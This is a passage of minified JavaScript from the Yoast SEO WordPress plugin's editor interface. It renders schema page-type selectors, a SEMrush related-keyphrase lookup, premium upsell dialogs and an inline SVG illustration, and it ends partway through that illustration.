(0,g.__)("Are you working on a news article? %s helps you optimize your site for Google News.","wordpress-seo"),"Yoast News SEO")+" ",(0,e.createElement)(lo,{href:window.wpseoAdminL10n[`shortlinks.upsell.${t}.news`]},(0,g.sprintf)(/* translators: %s: Expands to "Yoast News SEO". */
(0,g.__)("Buy %s now!","wordpress-seo"),"Yoast News SEO"))):null}po.propTypes={show:a().bool.isRequired,location:a().string.isRequired};const mo=(e,t,s)=>{const r=(0,h.useSelect)((e=>e(uo).getIsProduct()),[]),n=(0,h.useSelect)((e=>e(uo).getIsWooSeoActive()),[]),o=r&&n?{name:(0,g.__)("Item Page","wordpress-seo"),value:"ItemPage"}:e.find((e=>e.value===t));return[{name:(0,g.sprintf)(/* translators: %1$s expands to the plural name of the current post type, %2$s expands to the current site wide default. */
(0,g.__)("Default for %1$s (%2$s)","wordpress-seo"),s,o?o.name:""),value:""},...e]},ho=e=>(0,g.sprintf)(/* translators: %1$s expands to the plural name of the current post type, %2$s and %3$s expand to a link to the Settings page */
(0,g.__)("You can change the default type for %1$s under Content types in the %2$sSettings%3$s.","wordpress-seo"),e,"{{link}}","{{/link}}");a().string.isRequired,a().string.isRequired,a().string.isRequired;const go=t=>{const s=mo(t.pageTypeOptions,t.defaultPageType,t.postTypeName),n=mo(t.articleTypeOptions,t.defaultArticleType,t.postTypeName),o=(0,h.useSelect)((e=>e(uo).selectLink("https://yoa.st/product-schema-metabox")),[]),a=(0,h.useSelect)((e=>e(uo).getIsWooSeoUpsell()),[]),[i,l]=(0,r.useState)(t.schemaArticleTypeSelected),c=(0,g.__)("Want your products stand out in search results with rich results like price, reviews and more?","wordpress-seo"),d=(0,h.useSelect)((e=>e(uo).getIsProduct()),[]),u=(0,h.useSelect)((e=>e(uo).getIsWooSeoActive()),[]),p=(0,h.useSelect)((e=>e(uo).selectAdminLink("?page=wpseo_page_settings")),[]),m=d&&u,y=(0,r.useCallback)(((e,t)=>{l(t)}),[i]);return(0,r.useEffect)((()=>{y(null,t.schemaArticleTypeSelected)}),[t.schemaArticleTypeSelected]),(0,e.createElement)(r.Fragment,null,(0,e.createElement)(ue.FieldGroup,{label:(0,g.__)("What type of page or content is this?","wordpress-seo"),linkTo:t.additionalHelpTextLink
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about page or content types","wordpress-seo")}),a&&(0,e.createElement)(Ws,{link:o,text:c}),(0,e.createElement)(ue.Select,{id:(0,Re.join)(["yoast-schema-page-type",t.location]),options:s,label:(0,g.__)("Page type","wordpress-seo"),onChange:t.schemaPageTypeChange,selected:m?"ItemPage":t.schemaPageTypeSelected,disabled:m}),t.showArticleTypeInput&&(0,e.createElement)(ue.Select,{id:(0,Re.join)(["yoast-schema-article-type",t.location]),options:n,label:(0,g.__)("Article type","wordpress-seo"),onChange:t.schemaArticleTypeChange,selected:t.schemaArticleTypeSelected,onOptionFocus:y}),(0,e.createElement)(po,{location:t.location,show:!t.isNewsEnabled&&(b=i,E=t.defaultArticleType,"NewsArticle"===b||""===b&&"NewsArticle"===E)}),t.displayFooter&&!m&&(0,e.createElement)("p",null,(f=t.postTypeName,w=p,(0,Be.Z)({mixedString:ho(f),components:{link:(0,e.createElement)("a",{href:w,target:"_blank",rel:"noreferrer"})}}))),m&&(0,e.createElement)("p",null,(0,g.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,g.__)("You have %1$s activated on your site, automatically setting the Page type for your products to 'Item Page'. As a result, the Page type selection is disabled.","wordpress-seo"),"Yoast WooCommerce SEO")));var f,w,b,E},yo=a().arrayOf(a().shape({name:a().string,value:a().string}));go.propTypes={schemaPageTypeChange:a().func,schemaPageTypeSelected:a().string,pageTypeOptions:yo.isRequired,schemaArticleTypeChange:a().func,schemaArticleTypeSelected:a().string,articleTypeOptions:yo.isRequired,showArticleTypeInput:a().bool.isRequired,additionalHelpTextLink:a().string.isRequired,helpTextLink:a().string.isRequired,helpTextTitle:a().string.isRequired,helpTextDescription:a().string.isRequired,postTypeName:a().string.isRequired,displayFooter:a().bool,defaultPageType:a().string.isRequired,defaultArticleType:a().string.isRequired,location:a().string.isRequired,isNewsEnabled:a().bool},go.defaultProps={schemaPageTypeChange:()=>{},schemaPageTypeSelected:null,schemaArticleTypeChange:()=>{},schemaArticleTypeSelected:null,displayFooter:!1,isNewsEnabled:!1};const fo=t=>t.isMetabox?(0,r.createPortal)((0,e.createElement)(co,null,(0,e.createElement)(go,{...t})),document.getElementById("wpseo-meta-section-schema")):(0,e.createElement)(go,{...t});fo.propTypes={showArticleTypeInput:a().bool,articleTypeLabel:a().string,additionalHelpTextLink:a().string,pageTypeLabel:a().string.isRequired,helpTextLink:a().string.isRequired,helpTextTitle:a().string.isRequired,helpTextDescription:a().string.isRequired,isMetabox:a().bool.isRequired,postTypeName:a().string.isRequired,displayFooter:a().bool,loadSchemaArticleData:a().func.isRequired,loadSchemaPageData:a().func.isRequired,location:a().string.isRequired},fo.defaultProps={showArticleTypeInput:!1,articleTypeLabel:"",additionalHelpTextLink:"",displayFooter:!1};const wo=fo;class bo{static get articleTypeInput(){return document.getElementById("yoast_wpseo_schema_article_type")}static get defaultArticleType(){return bo.articleTypeInput.getAttribute("data-default")}static get articleType(){return bo.articleTypeInput.value}static set articleType(e){bo.articleTypeInput.value=e}static get pageTypeInput(){return document.getElementById("yoast_wpseo_schema_page_type")}static get defaultPageType(){return bo.pageTypeInput.getAttribute("data-default")}static get pageType(){return bo.pageTypeInput.value}static set pageType(e){bo.pageTypeInput.value=e}}const Eo=t=>{const s=null!==bo.articleTypeInput;(0,r.useEffect)((()=>{t.loadSchemaPageData(),s&&t.loadSchemaArticleData()}),[]);const{pageTypeOptions:n,articleTypeOptions:o}=window.wpseoScriptData.metabox.schema,a={articleTypeLabel:(0,g.__)("Article type","wordpress-seo"),pageTypeLabel:(0,g.__)("Page type","wordpress-seo"),postTypeName:window.wpseoAdminL10n.postTypeNamePlural,helpTextTitle:(0,g.__)("Yoast SEO automatically describes your pages using schema.org","wordpress-seo"),helpTextDescription:(0,g.__)("This helps search engines understand your website and your content. You can change some of your settings for this page below.","wordpress-seo"),showArticleTypeInput:s,pageTypeOptions:n,articleTypeOptions:o},i={...t,...a,...(l=t.location,"metabox"===l?{helpTextLink:wpseoAdminL10n["shortlinks.metabox.schema.explanation"],additionalHelpTextLink:wpseoAdminL10n["shortlinks.metabox.schema.page_type"],isMetabox:!0}:{helpTextLink:wpseoAdminL10n["shortlinks.sidebar.schema.explanation"],additionalHelpTextLink:wpseoAdminL10n["shortlinks.sidebar.schema.page_type"],isMetabox:!1})};var l;return(0,e.createElement)(wo,{...i})};Eo.propTypes={displayFooter:a().bool.isRequired,schemaPageTypeSelected:a().string.isRequired,schemaArticleTypeSelected:a().string.isRequired,defaultArticleType:a().string.isRequired,defaultPageType:a().string.isRequired,loadSchemaPageData:a().func.isRequired,loadSchemaArticleData:a().func.isRequired,schemaPageTypeChange:a().func.isRequired,schemaArticleTypeChange:a().func.isRequired,location:a().string.isRequired};const vo=(0,Ee.compose)([(0,h.withSelect)((e=>{const{getPreferences:t,getPageType:s,getDefaultPageType:r,getArticleType:n,getDefaultArticleType:o}=e("yoast-seo/editor"),{displaySchemaSettingsFooter:a,isNewsEnabled:i}=t();return{displayFooter:a,isNewsEnabled:i,schemaPageTypeSelected:s(),schemaArticleTypeSelected:n(),defaultArticleType:o(),defaultPageType:r()}})),(0,h.withDispatch)((e=>{const{setPageType:t,setArticleType:s,getSchemaPageData:r,getSchemaArticleData:n}=e("yoast-seo/editor");return{loadSchemaPageData:r,loadSchemaArticleData:n,schemaPageTypeChange:t,schemaArticleTypeChange:s}})),Ss()])(Eo),ko=window.yoast.relatedKeyphraseSuggestions,_o=({countryCode:t,setCountry:s,newRequest:n,keyphrase:o,setRequestFailed:a,setNoResultsFound:i,setRequestSucceeded:l,setRequestLimitReached:c,response:d,lastRequestKeyphrase:u,userLocale:p})=>{const[m,h]=(0,r.useState)(t),g=(0,r.useCallback)((e=>{"error"in e&&(e.error.includes("TOTAL LIMIT EXCEEDED")?c():a(e))}),[c,a]),y=(0,r.useCallback)((async()=>{n(t,o),Ye()({path:"yoast/v1/semrush/country_code",method:"POST",data:{country_code:t}});const e=await Ye()({path:(0,ur.addQueryArgs)("/yoast/v1/semrush/related_keyphrases",{keyphrase:o,country_code:t})});if(200===e.status)return 0===e.results.rows.length?void i():(l(e),void h(t));g(e)}),[t,o,n]);return(0,r.useEffect)((()=>{d&&o===u||y()}),[]),(0,e.createElement)(ko.CountrySelector,{countryCode:t,activeCountryCode:m,onChange:s,onClick:y,className:"yst-mb-4",userLocale:p})};_o.propTypes={keyphrase:a().string,countryCode:a().string,response:a().object,lastRequestKeyphrase:a().string,setCountry:a().func.isRequired,newRequest:a().func.isRequired,setNoResultsFound:a().func.isRequired,setRequestSucceeded:a().func.isRequired,setRequestLimitReached:a().func.isRequired,setRequestFailed:a().func.isRequired,userLocale:a().string},_o.defaultProps={keyphrase:"",countryCode:"us",response:{},lastRequestKeyphrase:"",userLocale:null};const xo=_o;function To(e){const{requestLimitReached:t,isSuccess:s,response:r,requestHasData:n,relatedKeyphrases:o}=e;return t?"requestLimitReached":!s&&function(e){return!(0,i.isEmpty)(e)&&"error"in e}(r)?"requestFailed":n?function(e){return e&&e.length>=4}(o)?"maxRelatedKeyphrases":void 0:"requestEmpty"}function Ro(t){var s,r;const{response:n,lastRequestKeyphrase:o,keyphrase:a,newRequest:i,setCountry:l,renderAction:c,countryCode:d,requestLimitReached:u,setRequestFailed:p,setNoResultsFound:h,relatedKeyphrases:g,setRequestSucceeded:y,setRequestLimitReached:f,isPending:w,isRtl:b,isPremium:E,userLocale:v}=t;return(0,e.createElement)(m.Root,{context:{isRtl:b}},!u&&!E&&(0,e.createElement)(ko.PremiumUpsell,{url:window.wpseoAdminL10n["shortlinks.semrush.premium_landing_page"],className:"yst-mb-4"}),!u&&(0,e.createElement)(xo,{countryCode:d,setCountry:l,newRequest:i,keyphrase:a,setRequestFailed:p,setNoResultsFound:h,setRequestSucceeded:y,setRequestLimitReached:f,response:n,lastRequestKeyphrase:o,userLocale:v.split("_")[0]}),!w&&(0,e.createElement)(ko.UserMessage,{variant:To(t),upsellLink:window.wpseoAdminL10n["shortlinks.semrush.prices"]}),(0,e.createElement)(ko.KeyphrasesTable,{relatedKeyphrases:g,columnNames:null==n||null===(s=n.results)||void 0===s?void 0:s.columnNames,data:null==n||null===(r=n.results)||void 0===r?void 0:r.rows,isPending:w,renderButton:c,className:"yst-mt-4"}))}Ro.propTypes={keyphrase:a().string,relatedKeyphrases:a().array,renderAction:a().func,requestLimitReached:a().bool,countryCode:a().string.isRequired,setCountry:a().func.isRequired,newRequest:a().func.isRequired,setRequestSucceeded:a().func.isRequired,setRequestLimitReached:a().func.isRequired,setRequestFailed:a().func.isRequired,setNoResultsFound:a().func.isRequired,response:a().object,lastRequestKeyphrase:a().string,isRtl:a().bool,userLocale:a().string,isPending:a().bool,isPremium:a().bool},Ro.defaultProps={keyphrase:"",relatedKeyphrases:[],renderAction:null,requestLimitReached:!1,response:{},lastRequestKeyphrase:"",isRtl:!1,userLocale:"en_US",isPending:!1,isPremium:!1};const So=(0,Ee.compose)([(0,h.withSelect)((e=>{const{getFocusKeyphrase:t,getSEMrushSelectedCountry:s,getSEMrushRequestLimitReached:r,getSEMrushRequestResponse:n,getSEMrushRequestIsSuccess:o,getSEMrushIsRequestPending:a,getSEMrushRequestHasData:i,getSEMrushRequestKeyphrase:l,getPreference:c,getIsPremium:d}=e("yoast-seo/editor");return{keyphrase:t(),countryCode:s(),requestLimitReached:r(),response:n(),isSuccess:o(),isPending:a(),requestHasData:i(),lastRequestKeyphrase:l(),isRtl:c("isRtl",!1),userLocale:c("userLocale","en_US"),isPremium:d()}})),(0,h.withDispatch)((e=>{const{setSEMrushChangeCountry:t,setSEMrushNewRequest:s,setSEMrushRequestSucceeded:r,setSEMrushRequestFailed:n,setSEMrushSetRequestLimitReached:o,setSEMrushNoResultsFound:a}=e("yoast-seo/editor");return{setCountry:e=>{t(e)},newRequest:(e,t)=>{s(e,t)},setRequestSucceeded:e=>{r(e)},setRequestFailed:e=>{n(e)},setRequestLimitReached:()=>{o()},setNoResultsFound:()=>{a()}}}))])(Ro),Io=(0,g.__)("Check your text on even more SEO criteria and get an enhanced keyphrase analysis, making it easier to optimize your content.","wordpress-seo"),Co=t=>{const{locationContext:s}=(0,d.useRootContext)(),r=(0,ur.addQueryArgs)(wpseoAdminL10n[t.buyLink],{context:s});return(0,e.createElement)(Nr,{title:(0,g.__)("Get more help with writing content that ranks","wordpress-seo"),description:t.description,benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,g.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:re(),upsellButtonText:(0,g.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,g.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:r,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,g.__)("1 year of premium support and updates included!","wordpress-seo")})};Co.propTypes={buyLink:a().string.isRequired,description:a().string},Co.defaultProps={description:Io};const Lo=Co,Po=({location:t})=>{const[s,n]=(0,r.useState)(!1),o=(0,r.useCallback)((()=>n(!1)),[]),a=(0,r.useCallback)((()=>n(!0)),[]),i=(0,m.useSvgAria)();return(0,e.createElement)(r.Fragment,null,s&&(0,e.createElement)(Pe,{title:(0,g.__)("Unlock Premium SEO analysis","wordpress-seo"),onRequestClose:o,additionalClassName:"",className:`${Ce} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,id:"yoast-premium-seo-analysis-modal",shouldCloseOnClickOutside:!0},(0,e.createElement)(Ie,null,(0,e.createElement)(Lo,{buyLink:`shortlinks.upsell.${t}.premium_seo_analysis_button`}))),"sidebar"===t&&(0,e.createElement)(Oe,{id:"yoast-premium-seo-analysis-modal-open-button",title:(0,g.__)("Premium SEO analysis","wordpress-seo"),prefixIcon:{icon:"seo-score-none",color:pe.colors.$color_grey},onClick:a},(0,e.createElement)("div",{className:"yst-root"},(0,e.createElement)(m.Badge,{size:"small",variant:"upsell"},(0,e.createElement)(xr,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...i})))),"metabox"===t&&(0,e.createElement)("div",{className:"yst-root"},(0,e.createElement)(Te,{id:"yoast-premium-seo-analysis-metabox-modal-open-button",onClick:a},(0,e.createElement)(ue.SvgIcon,{icon:"seo-score-none",color:pe.colors.$color_grey}),(0,e.createElement)(Te.Text,null,(0,g.__)("Premium SEO analysis","wordpress-seo")),(0,e.createElement)(m.Badge,{size:"small",variant:"upsell"},(0,e.createElement)(xr,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...i}),(0,e.createElement)("span",null,"Premium")))))};Po.propTypes={location:a().string},Po.defaultProps={location:"sidebar"};const qo=Po,Ao=t=>(0,e.createElement)(Nr,{title:(0,g.__)("Reach a wider audience","wordpress-seo"),description:(0,g.__)("Get help optimizing for up to 5 related keyphrases. This helps you reach a wider audience and get more traffic.","wordpress-seo"),benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,g.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:re(),upsellButtonText:(0,g.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,g.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:t.buyLink,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,g.__)("1 year free support and updates included!","wordpress-seo")});Ao.propTypes={buyLink:a().string.isRequired};const Fo=Ao,No=()=>{const[t,,,s,n]=(0,m.useToggleState)(!1),o=(0,r.useContext)(d.LocationContext),{locationContext:a}=(0,d.useRootContext)(),i=(0,m.useSvgAria)(),l=wpseoAdminL10n["sidebar"===o.toLowerCase()?"shortlinks.upsell.sidebar.additional_button":"shortlinks.upsell.metabox.additional_button"];return(0,e.createElement)(e.Fragment,null,t&&(0,e.createElement)(Pe,{title:(0,g.__)("Add related keyphrases","wordpress-seo"),onRequestClose:n,additionalClassName:"",id:"yoast-additional-keyphrases-modal",className:`${Ce} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,shouldCloseOnClickOutside:!0},(0,e.createElement)(Ie,null,(0,e.createElement)(Fo,{buyLink:(0,ur.addQueryArgs)(l,{context:a})}))),"sidebar"===o&&(0,e.createElement)(Oe,{id:"yoast-additional-keyphrase-modal-open-button",title:(0,g.__)("Add related keyphrase","wordpress-seo"),prefixIcon:{icon:"plus",color:pe.colors.$color_grey_medium_dark},onClick:s},(0,e.createElement)("div",{className:"yst-root"},(0,e.createElement)(m.Badge,{size:"small",variant:"upsell"},(0,e.createElement)(xr,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...i})))),"metabox"===o&&(0,e.createElement)("div",{className:"yst-root"},(0,e.createElement)(Te,{id:"yoast-additional-keyphrase-metabox-modal-open-button",onClick:s},(0,e.createElement)(ue.SvgIcon,{icon:"plus",color:pe.colors.$color_grey_medium_dark}),(0,e.createElement)(Te.Text,null,(0,g.__)("Add related keyphrase","wordpress-seo")),(0,e.createElement)(m.Badge,{size:"small",variant:"upsell"},(0,e.createElement)(xr,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...i}),(0,e.createElement)("span",null,"Premium")))))};var Mo,Oo,Do,$o,Bo,Uo,Wo,jo,Ko,Ho,Yo,zo,Vo,Go,Zo,Xo,Qo,Jo,ea,ta,sa,ra,na,oa,aa,ia,la,ca,da,ua,pa,ma,ha,ga,ya,fa,wa,ba,Ea,va,ka,_a,xa,Ta,Ra,Sa,Ia;function Ca(){return Ca=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Ca.apply(this,arguments)}const La=t=>e.createElement("svg",Ca({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 448 360"},t),Mo||(Mo=e.createElement("circle",{cx:226,cy:211,r:149,fill:"#f0ecf0"})),Oo||(Oo=e.createElement("path",{fill:"#fbd2a6",d:"M173.53 189.38s-35.47-5.3-41.78-11c-9.39-24.93-29.61-48-35.47-66.21-.71-2.24 3.72-11.39 3.53-15.41s-5.34-11.64-5.23-14-.09-15.27-.09-15.27l-4.75-.72s-5.13 6.07-3.56 9.87c-1.73-4.19 4.3 7.93.5 9.35 0 0-6-5.94-11.76-8.27s-19.57-3.65-19.57-3.65L43.19 73l-4.42.6L31 69.7l-2.85 5.12 7.53 5.29L40.86 92l17.19 10.2 10.2 10.56 9.86 3.56s26.49 79.67 45 92c17 11.33 37.23 15.92 37.23 15.92z"})),Do||(Do=e.createElement("path",{fill:"#a4286a",d:"M270.52 345.13c2.76-14.59 15.94-35.73 30.24-54.58 16.22-21.39 14-79.66-33.19-91.46-17.3-4.32-52.25-1-59.85-3.41C186.54 189 170 187 168 190.17c-5 10.51-7.73 27.81-5.51 36.26 1.18 4.73 3.54 5.91 20.49 13.4-5.12 15-16.35 26.3-22.86 37s7.88 27.2 7.1 33.51c-.48 3.8-4.26 21.13-7.18 34.25a149.47 149.47 0 0 0 110.3 8.66 25.66 25.66 0 0 1 .18-8.12z"})),$o||($o=e.createElement("path",{fill:"#9a5815",d:"M206.76 66.43c-5 14.4-1.42 25.67-3.93 40.74-10 60.34-24.08 43.92-31.44 93.6 7.24-14.19 14.32-15.82 20.63-23.11-.83 3.09-10.25 13.75-8.05 34.81 9.85-8.51 6.35-8.75 11.86-8.54.36 3.25 3.53 3.22-3.59 10.53 2.52.69 17.42-14.32 20.16-12.66s0 5.72-6 7.76c2.15 2.2 30.47-3.87 43.81-14.71 4.93-4 10-13.16 13.38-18.2 7.17-10.62 12.38-24.77 17.71-36.6 8.94-19.87 15.09-39.34 16.11-61.31.53-10.44-3.41-18.44-4.41-28.86-2.57-27.8-67.63-37.26-86.24 16.55z"})),Bo||(Bo=e.createElement("path",{fill:"#efb17c",d:"M277.74 179.06c.62-.79 1.24-1.59 1.84-2.39-.85 2.59-1.52 3.73-1.84 2.39z"})),Uo||(Uo=e.createElement("path",{fill:"#fbd2a6",d:"M216.1 206.72c3.69-5.42 8.28-3.35 15.57-8.28 3.76-3.06 1.57-9.46 1.77-11.82 18.25 4.56 37.38-1.18 49.07-16 .62 5.16-2.77 22.27-.2 27 4.73 8.67 13.4 18.92 13.4 18.92-35.47-2.76-63.45 39-89.86 44.54 5.52-28.74-2.36-35.84 10.25-54.36z"})),Wo||(Wo=e.createElement("path",{fill:"#f6b488",d:"m235.21 167.9 53.21-25.23s-3.65 24-6.5 32.72c-64.05 62.66-46.47-7.33-46.71-7.49z"})),jo||(jo=e.createElement("path",{fill:"#fbd2a6",d:"M226.86 50.64C215 59.31 206.37 93.21 204 95.57c-19.46 19.47-3.59 41.39-3.94 51.24-.2 5.52-4.14 25.42 5.72 29.36 22.22 8.89 60-3.48 67.19-12.61 13.28-16.75 40.89-94.78 17.74-108.19-7.92-4.58-42.78-20.18-63.85-4.73z"})),Ko||(Ko=e.createElement("path",{fill:"#e5766c",d:"M243.69 143.66c-10.7-6.16-8.56-6.73-19.76-12.71-3.86-2.07-3.94.64-6.32 0-2.91-.79-1.39-2.74-5.37-3.48-6.52-1.21-3.67 3.63-3.15 6 1.32 6.15-8.17 17.3 3.26 21.42 12.65 4.55 21.38-9.41 31.34-11.23z"})),Ho||(Ho=e.createElement("path",{fill:"#fff",d:"M240.68 143.9c-11.49-5.53-11.65-8.17-24.64-11.69-8.6-2.32-5.53 1-5.69 4.42-.2 4.16-1.26 9.87 4.9 12.66 9 4.09 18.16-6.02 25.43-5.39zm.7-40.9c-.16 1.26-.06 4.9 5.46 8.25 11.43-4.73 16.36-2.56 17-3.33 1.48-1.76-2-8.87-7.88-9.85-5.58-.94-14.14 1.24-14.58 4.93z"})),Yo||(Yo=e.createElement("path",{fill:"#000001",d:"M263.53 108.19c-4.32-4.33-6.85-6.24-12.26-8.21-2.77-1-6.18.18-8.65 1.67a3.65 3.65 0 0 0-1.24 1.23h-.12a3.73 3.73 0 0 1 1-1.52 12.53 12.53 0 0 1 11.93-3c4.73 1 9.43 4.63 9.42 9.82z"})),zo||(zo=e.createElement("circle",{cx:254.13,cy:104.05,r:4.19,fill:"#000001"})),Vo||(Vo=e.createElement("path",{fill:"#fff",d:"M225.26 99.22c-.29 1-6.6 3.45-10.92 1.48-1.15-3.24-5-6.43-5.25-6.71-.5-2.86 5.55-8 10.06-6.3a10.21 10.21 0 0 1 6.11 11.53z"})),Go||(Go=e.createElement("path",{fill:"#000001",d:"M209.29 94.21c-.19-2.34 1.84-4.1 3.65-5.2 7-3.87 13.18 3 12.43 10h-.12c-.14-4-2.38-8.44-6.47-9.11a3.19 3.19 0 0 0-2.42.31c-1.37.85-2.38 2-3.89 2.56-1 .45-1.92.42-3 1.4h-.22z"})),Zo||(Zo=e.createElement("circle",{cx:219.55,cy:95.28,r:4,fill:"#000001"})),Xo||(Xo=e.createElement("path",{fill:"#efb17c",d:"M218.66 120.27a27.32 27.32 0 0 0 4.54 3.45c-2.29-.72-4.28-.69-6.32-2.27-2.53-2-3.39-5.16-.73-7.72 10.24-9.82 12.56-13.82 14.77-24.42-1 12.37-6 17.77-10.63 23.18-2.53 2.97-4.68 5.06-1.63 7.78z"})),Qo||(Qo=e.createElement("path",{fill:"#a57c52",d:"M231.22 69.91c-.67-3.41-8.78-2.83-11.06-1.93-3.48 1.39-6.08 5.22-7.13 8.53 2.9-4.3 6.74-8.12 12.46-6 1.16.42 3.18 2.35 4.48 1.85s1.03-2.2 1.25-2.45zm32.16 8.56c-2.75-1.66-12.24-5.08-12.18.82 2.56.24 5-.19 7.64.95 11.22 4.76 12.77 17.61 12.85 17.86.2-.53.1 1.26.23.7-.02.2.95-12.12-8.54-20.33z"})),Jo||(Jo=e.createElement("path",{fill:"#fbd2a6",d:"M53.43 250.73c6.29 0-.6-.17 7.34 0 1.89.05-2.38-.7 0-.69 4.54-4.2 12.48-.74 20.6-2.45 4.55.35 3.93 1.35 5.59 4.19 4.89 8.38 4.78 14.21 14 19.56 16.42 8.38 66 12.92 88.49 18.86 5.52.83 42.64-20.15 61-23.75 6.51 10.74 11.46 28.68 8.39 34.93-6.54 13.3-57.07 25.4-75.91 25.15C156.47 326.18 94 294 92.2 293c-.94-.57.7-.7-7.68 0s-10.15.72-17.47-1.4c-3-.87-4.61-1.33-6.33-3.54-2 .22-3.39.2-4.78-1-3.15-2.74-4.84-6.61-2.73-10.06h-.12c-3.35-2.48-6.54-7.69-3.08-11.72 1-1.18 6.06-1.94 7.77-2.28-1.58-.29-6.37.19-7.49-.72-3.06-2.5-4.96-11.55 3.14-11.55z"})),ea||(ea=e.createElement("path",{fill:"#a4286a",d:"M303.22 237.52c-9.87-11.88-41.59 8.19-47.8 12.34s-14.89 17.95-14.89 17.95c6 9.43 8.36 31 5.65 46.34l30.51-3s18-15.62 22.59-28.7 6.3-42.54 6.3-42.54"})),ta||(ta=e.createElement("path",{fill:"#cb9833",d:"M278.63 31.67c-6.08 0-22.91 4.07-22.93 12.91 0 11 47.9 38.38 16.14 85.85 10.21-.79 10.79-8.12 14.92-14.93-3.66 77-49.38 93.58-40.51 142.25 7.68-25.81 20.3-11.62 38.13-33.84 3.45 4.88 9 18.28-9.46 33.78 50-31.26 57.31-56.6 51.92-95C319.93 113.53 348.7 42 278.63 31.67z"})),sa||(sa=e.createElement("path",{fill:"#fbd2a6",d:"M283.64 126.83c-2.42 9.67-8 15.76-1.48 16.46A21.26 21.26 0 0 0 302 132.6c5.17-8.52 3.93-16.44-2.46-18s-13.48 2.56-15.9 12.23z"})),ra||(ra=e.createElement("path",{fill:"#efb17c",d:"M38 73.45c1.92 2 4.25 9.21 6.32 10.91 2.25 1.85 5.71 2.12 8.1 4.45 3.66-2 6-8.72 10-9.31-2.59 1.31-4.42 3.5-6.93 4.88-1.42.8-3 1.31-4.38 2.25-2.16-1.46-4.27-1.77-6.26-3.38-2.52-2.02-5.31-8-6.85-9.8z"})),na||(na=e.createElement("path",{fill:"#efb17c",d:"M39 74.4c4.83 1.1 12.52 6.44 15.89 10-3.22-1.34-14.73-6.15-15.89-10zm.62-1.5c6.71-.79 18 1.54 23.29 5.9-3.85-.2-5.42-1.48-9-2.94-4.08-1.69-8.83-2.03-14.29-2.96zm46.43 14.58c-3.72-1.32-10.52-1.13-13.22 3.52 2-1.16 1.84-2.11 4.18-1.72-3.81-4.15 8.16-.74 11.6-.24m-2.78 13.15c.56-3.29-8-7.81-10.58-9.17-6.25-3.29-12.16 1.36-19.33-4.53 5.94 6.1 14.23 2.5 19.55 5.76 3.06 1.88 8.65 6.09 9.35 9.38-.23-.4 1.29-1.44 1.01-1.44z"})),oa||(oa=e.createElement("circle",{cx:38.13,cy:30.03,r:3.14,fill:"#b89ac8"})),aa||(aa=e.createElement("circle",{cx:60.26,cy:39.96,r:3.14,fill:"#e31e0c"})),ia||(ia=e.createElement("circle",{cx:50.29,cy:25.63,r:3.14,fill:"#3baa45"})),la||(la=e.createElement("circle",{cx:22.19,cy:19.21,r:3.14,fill:"#2ca9e1"})),ca||(ca=e.createElement("circle",{cx:22.19,cy:30.03,r:3.14,fill:"#e31e0c"})),da||(da=e.createElement("circle",{cx:26.86,cy:8.28,r:3.14,fill:"#3baa45"})),ua||(ua=e.createElement("circle",{cx:49.32,cy:39.99,r:3.14,fill:"#e31e0c"})),pa||(pa=e.createElement("circle",{cx:63.86,cy:59.52,r:3.14,fill:"#f8ad39"})),ma||(ma=e.createElement("circle",{cx:50.88,cy:50.72,r:3.14,fill:"#3baa45"})),ha||(ha=e.createElement("circle",{cx:63.47,cy:76.17,r:3.14,fill:"#e31e0c"})),ga||(ga=e.createElement("circle",{cx:38.34,cy:14.83,r:3.14,fill:"#2ca9e1"})),ya||(ya=e.createElement("circle",{cx:44.44,cy:5.92,r:3.14,fill:"#f8ad39"})),fa||(fa=e.createElement("circle",{cx:57.42,cy:10.24,r:3.14,fill:"#e31e0c"})),wa||(wa=e.createElement("circle",{cx:66.81,cy:12.4,r:3.14,fill:"#2ca9e1"})),ba||(ba=e.createElement("circle",{cx:77.95,cy:5.14,r:3.14,fill:"#b89ac8"})),Ea||(Ea=e.createElement("circle",{cx:77.95,cy:30.34,r:3.14,fill:"#e31e0c"})),va||(va=e.createElement("circle",{cx:80.97,cy:16.55,r:3.14,fill:"#f8ad39"})),ka||(ka=e.createElement("circle",{cx:62.96,cy:27.27,r:3.14,fill:"#3baa45"})),_a||(_a=e.createElement("circle",{cx:75.36,cy:48.67,r:3.14,fill:"#2ca9e1"})),xa||(xa=e.createElement("circle",{cx:76.11,cy:65.31,r:3.14,fill:"#3baa45"})),Ta||(Ta=e.createElement("path",{fill:"#71b026",d:"M78.58 178.43C54.36 167.26 32 198.93 5 198.93c19.56 20.49 63.53 1.52 69 15.5 1.48-14.01 4.11-30.9 4.58-36z"})),Ra||(Ra=e.createElement("path",{fill:"#074a67",d:"M67.75 251.08c0-4.65 10.13-72.65 10.13-72.65h2.8l-9.09 